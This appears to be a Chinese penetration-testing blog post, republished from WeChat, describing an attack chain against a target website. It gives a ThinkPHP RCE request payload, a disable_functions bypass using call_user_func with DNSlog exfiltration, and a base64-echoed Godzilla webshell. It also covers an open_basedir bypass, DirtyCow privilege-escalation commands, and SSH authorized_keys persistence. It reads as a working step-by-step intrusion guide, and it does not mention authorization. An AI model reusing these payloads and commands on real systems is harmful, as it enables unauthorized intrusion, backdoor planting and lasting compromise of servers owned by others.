攻防系列之信息收集到权限维持
2023-5-12 08:0:52 Author: 李白你好(查看原文) 阅读量:40 收藏

资产收集

第一步,域名收集

首先打开目标官网并且在tianyancha、qichacha等网站上进行收集目标域名。

天眼查:

https://www.tianyancha.com/

对目前环境来说,是最适合也是最好用的查询平台。

企查查:

https://www.qcc.com/

经过改版不是很好用了,因为某些特殊原因,对政企、央企等等目标不是很友好。

自动化工具推荐:

ENScan_GO

这个自动化工具是狼组开发的go版本的ENScan,一款基于各大企业信息API的工具,解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司ICP备案、APP、小程序、微信公众号等信息聚合导出。

可以直接帮助我们自动化爬取天眼查、企查查的搜索结果。工具链接:

https://github.com/wgpsec/ENScan_GO

另补充:

域名是最重要的资产收集步骤,没有之一。因为后续的子域名收集、IP端口扫描都是基于域名的收集。如果域名没有收集到位,那么我们的资产必然收集缺失。

所以笔者建议,如果攻击时间充足,那么务必手工收集资产域名。

第二步,子域名扫描

对第一步收集的域名进行子域名扫描。

自动化工具推荐:

Oneforall

OneForAll是一款功能强大的子域收集工具.

笔者比较喜欢这个工具的原因是:

1、利用python编写 2、内置api强大 3、内涵子域名爆破

https://github.com/shmilylty/OneForAll

Ksubdomain

无状态子域名爆破工具

https://github.com/knownsec/ksubdomain

第三步,网络空间测绘平台

利用网络空间测绘平台进行收集目标资产

平台推荐

hunter

https://hunter.qianxin.com/

fofa

https://fofa.info/


第四步,端口爆破

将子域名扫描工具Oneforall及Ksubdomain扫描出来的IP结果导出,加上网络空间测绘出来IP都放入文件中。

自动化扫描推荐:

主要功能就是端口扫描,并且它能将banner也扫描出来。当然其他的全端口扫描工具也有很多,我习惯于用这个工具。

https://github.com/4dogs-cn/TXPortMap

用法:

将IP列表放入IP中执行命令即可,建议放在VPS中跑比较好。

nohup ./txportmap -l ip.txt -p 1-65535 &

第五步,上漏洞扫描器

首先打开了笔者珍藏了二十年的扫描器,将子域名及端口扫描的url全部都扫描一遍,主动扫描、被动扫描都可以,这个可以取决于大佬们习惯于使用的漏洞扫描器。

在一个月黑风高的晚上,笔者一边啃着一块五买的馒头,一边追着剧(摸鱼,嘿嘿嘿),突然发现扫描器一直在嘀嘀嘀嘀的响,立马高高兴兴的开始干活。

外网打点Thinkphp RCE

首先就是一个登录框,但是珍藏了二十年的扫描器告诉我存在thinkphp rce

随便输点东西,报错,坐实了ThinkPhp框架

使用GitHub利用工具打均失败。怀疑是disabledfunction了, 只能使用POC包去测试哪些方法被disabled了

poc包如下:

POST /admin/ HTTP/1.1

Accept-Encoding: gzip

Host: 

Referer:xxx.xxx.xxx.xxx 

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=j9js8h908kg4vqs4sd76ibc9iq

Connection: close

Content-Length: 61

get[]=phpinfo&_method=__construct&method=get&filter=exec

发现exec函数被禁了,把全部方法都测试了一下,大部分的函数都被禁了。

经过半个小时的测试,最后发现:call_user_func 可以使用shell_exec无回显但是dnslog可以带出数据. 成功执行代码。

发现disable_function 基本把函数都禁掉了。

通过phpinfo 可以知道是linux 系统 也知道了路径 那么可以直接写入木马

直接写入木马Getshell

经过尝试,冰蝎马连接不上,还是哥斯拉强悍!!!

这里分析了一下原因,冰蝎马和哥斯拉的马用的执行函数不通,可能冰蝎马的执行函数没有过disabled.而哥斯拉的过去了。

把哥斯拉马 base64加密 echo上去 (这里是个小技巧):

echo 木马base64加密 |base64 -d > ./loginxxx.php 

我们直接访问目标: 

http://www.xxx.com/.sys5.php

发现已经存在文件了然后哥斯拉连接shell:

bypass open_basedir

这个时候一直出现打不开目录。感觉用户访问文件的活动范围限制在指定区域了。这时我想到了哥斯拉的插件 BypassOpenBasedir:

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

假设open_basedir=/var/www/html/web1/;/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。

那么问题就迎刃而解了。所有的目录都可以看了。

权限提权-脏牛

接着就是信息收集,发现权限贼小,只是www权限。上传linux-exploit-suggester.sh 准备进行提权。

发现可以使用脏牛进行提权,直接提权一把梭:

工具链接:

https://github.com/FireFart/dirtycow

脏牛工具使用教程:

1 gcc -pthread dirty.c -o dirty -lcrypt

2 chmod +x dirty

3 ./dirtypassword

4 su firefart (坑点)

一直提示:

Password: su: Authentication failure

我都快疯了。一直登录不上,墨迹了半个小时

后来,我决定搭建代理,使用XSHELL 登录该用户

成功拿下。

权限维持-ssh公私钥

啥也不说,第一时间搞个公私钥 小小的权限维持一下

1、Kali 生成公私钥:

ssh-keygen -t rsa

2、id_rsa.pub 拷贝到服务器

/home/root-server/.ssh 改名为 authorized_keys

3、使用Xshell 的私钥连接即可

总结

攻击总过程:

资产收集-漏洞扫描-发现thinkphpRCE-过disabled-getshell-过open_basedir-脏牛提权-ssh公私钥权限维持


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247498428&idx=1&sn=97fa47b7ae4e1c47828ebd6d11528792&chksm=c09a89ecf7ed00fa51722a3c8ccda3b8f000edab1b2d4186ff3bbebceef74a46dd4380e27494#rd
如有侵权请联系:admin#unsafe.sh